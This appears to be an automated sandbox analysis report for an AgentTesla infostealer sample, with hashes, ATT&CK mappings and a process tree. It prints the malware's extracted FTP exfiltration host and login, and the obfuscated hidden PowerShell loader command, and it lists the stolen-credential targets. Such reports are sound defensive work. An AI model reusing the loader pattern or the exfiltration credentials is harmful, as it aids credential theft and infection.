agenttesla | fc90f058384515ecbdd47e63c5b86bbfa12704e7a96ab9c6cc204e950dfabac6

Analysis

max time kernel
150s
max time network
141s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
05-09-2024 09:11

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General

Target

INV9876545678900.exe
Size

550KB
MD5

247f47ee3588a622902610a70d3576bc
SHA1

bf19df5857fc552b60284a8ece79f99b5fd6986b
SHA256

28ea8947fa78ef77e6bb3c870348a5d578676737c5e5a0a258d46db72b54aa18
SHA512

4ec7dfb15368b37e13cf775d8b8896bee729ee723e03186e9d5f8d87da1576cb6d6feea4e51535dd8563ceec6a279d9eeff8673a160847de911c81efa24c0617
SSDEEP

12288:jHYHEW/ubbGn+71CMDRRqz3+EYfaVOjfLPSuwrg:UGHpLRRqb9k/3PSux

Score

10^/10

agenttesla credential_access discovery execution keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://ftp.antoniomayol.com:21
Port:
21
Username:
[email protected]
Password:
cMhKDQUk1{;%

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2516	powershell.exe

Loads dropped DLL 2 IoCs

pid	Process
2516	powershell.exe
2872	Sovereignness.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	ip-api.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2872	Sovereignness.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2516	powershell.exe
2872	Sovereignness.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2516 set thread context of 2872	2516	powershell.exe	34

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Common Files\bagvaskerne.Lin	INV9876545678900.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	INV9876545678900.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Sovereignness.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2516	powershell.exe
2516	powershell.exe
2516	powershell.exe
2516	powershell.exe
2516	powershell.exe
2516	powershell.exe
2516	powershell.exe
2516	powershell.exe
2872	Sovereignness.exe
2872	Sovereignness.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2516	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2516	powershell.exe
Token: SeDebugPrivilege	2872	Sovereignness.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3020 wrote to memory of 2516	3020	INV9876545678900.exe	30
PID 3020 wrote to memory of 2516	3020	INV9876545678900.exe	30
PID 3020 wrote to memory of 2516	3020	INV9876545678900.exe	30
PID 3020 wrote to memory of 2516	3020	INV9876545678900.exe	30
PID 2516 wrote to memory of 2872	2516	powershell.exe	34
PID 2516 wrote to memory of 2872	2516	powershell.exe	34
PID 2516 wrote to memory of 2872	2516	powershell.exe	34
PID 2516 wrote to memory of 2872	2516	powershell.exe	34
PID 2516 wrote to memory of 2872	2516	powershell.exe	34
PID 2516 wrote to memory of 2872	2516	powershell.exe	34

C:\Users\Admin\AppData\Local\Temp\INV9876545678900.exe
"C:\Users\Admin\AppData\Local\Temp\INV9876545678900.exe"
1⤵
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3020
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Slvmedaljes47=Get-Content 'C:\Users\Admin\AppData\Local\firtakterens\Vids.Sil74';$Tinfoliens147=$Slvmedaljes47.SubString(2012,3);.$Tinfoliens147($Slvmedaljes47)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Loads dropped DLL
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2516
- - C:\Users\Admin\AppData\Local\Temp\Sovereignness.exe
    "C:\Users\Admin\AppData\Local\Temp\Sovereignness.exe"
    3⤵
    - Loads dropped DLL
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2872

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\firtakterens\Brudstykke.pad

Filesize
299KB

MD5
3897c23ea5f0cd0c14d55b8fd907d3bd

SHA1
24932087261dd349a51c3710b503572c40112009

SHA256
ebe7215862cc3aa1c0c64befeaa7d0774f6a9011c32a4fedf1a08f8fbf6b3b77

SHA512
a171c024468d18b2b4e4651c6d0577c9a4fbcae8d16d09673ca808cc90106856a182f8624d2889bb979f7190e8e945d45b3a88741647da9ef2074c65608e5f06

Download Submit
C:\Users\Admin\AppData\Local\firtakterens\Vids.Sil74

Filesize
69KB

MD5
f36506269814aa6626699bae20298473

SHA1
24e5e443b61b3614b81e0a065686b129e250e354

SHA256
dab290d347f76a5a638fb547ef4f21e3e43bc4b747b5700349afd6ec08d15a11

SHA512
a4f49f55e8871f938594cd6e18b4780cbe898c0344bc26455709ccebe80b92ba124e43d6099e9dee530a91465399498d88bd077182c3f1ca18ed1335ef1726b2

Download Submit
\Users\Admin\AppData\Local\Temp\Sovereignness.exe

Filesize
550KB

MD5
247f47ee3588a622902610a70d3576bc

SHA1
bf19df5857fc552b60284a8ece79f99b5fd6986b

SHA256
28ea8947fa78ef77e6bb3c870348a5d578676737c5e5a0a258d46db72b54aa18

SHA512
4ec7dfb15368b37e13cf775d8b8896bee729ee723e03186e9d5f8d87da1576cb6d6feea4e51535dd8563ceec6a279d9eeff8673a160847de911c81efa24c0617

Download Submit
memory/2516-14-0x0000000073730000-0x0000000073CDB000-memory.dmp

Filesize
5.7MB

Download
memory/2516-8-0x0000000073730000-0x0000000073CDB000-memory.dmp

Filesize
5.7MB

Download
memory/2516-9-0x0000000073730000-0x0000000073CDB000-memory.dmp

Filesize
5.7MB

Download
memory/2516-7-0x0000000073731000-0x0000000073732000-memory.dmp

Filesize
4KB

Download
memory/2516-11-0x0000000073730000-0x0000000073CDB000-memory.dmp

Filesize
5.7MB

Download
memory/2516-16-0x0000000073730000-0x0000000073CDB000-memory.dmp

Filesize
5.7MB

Download
memory/2516-17-0x0000000006640000-0x000000000C1AF000-memory.dmp

Filesize
91.4MB

Download
memory/2516-18-0x0000000073730000-0x0000000073CDB000-memory.dmp

Filesize
5.7MB

Download
memory/2516-10-0x0000000073730000-0x0000000073CDB000-memory.dmp

Filesize
5.7MB

Download
memory/2872-23-0x0000000000470000-0x00000000014D2000-memory.dmp

Filesize
16.4MB

Download
memory/2872-33-0x0000000000470000-0x00000000014D2000-memory.dmp

Filesize
16.4MB

Download
memory/2872-35-0x0000000000470000-0x00000000004B2000-memory.dmp

Filesize
264KB

Download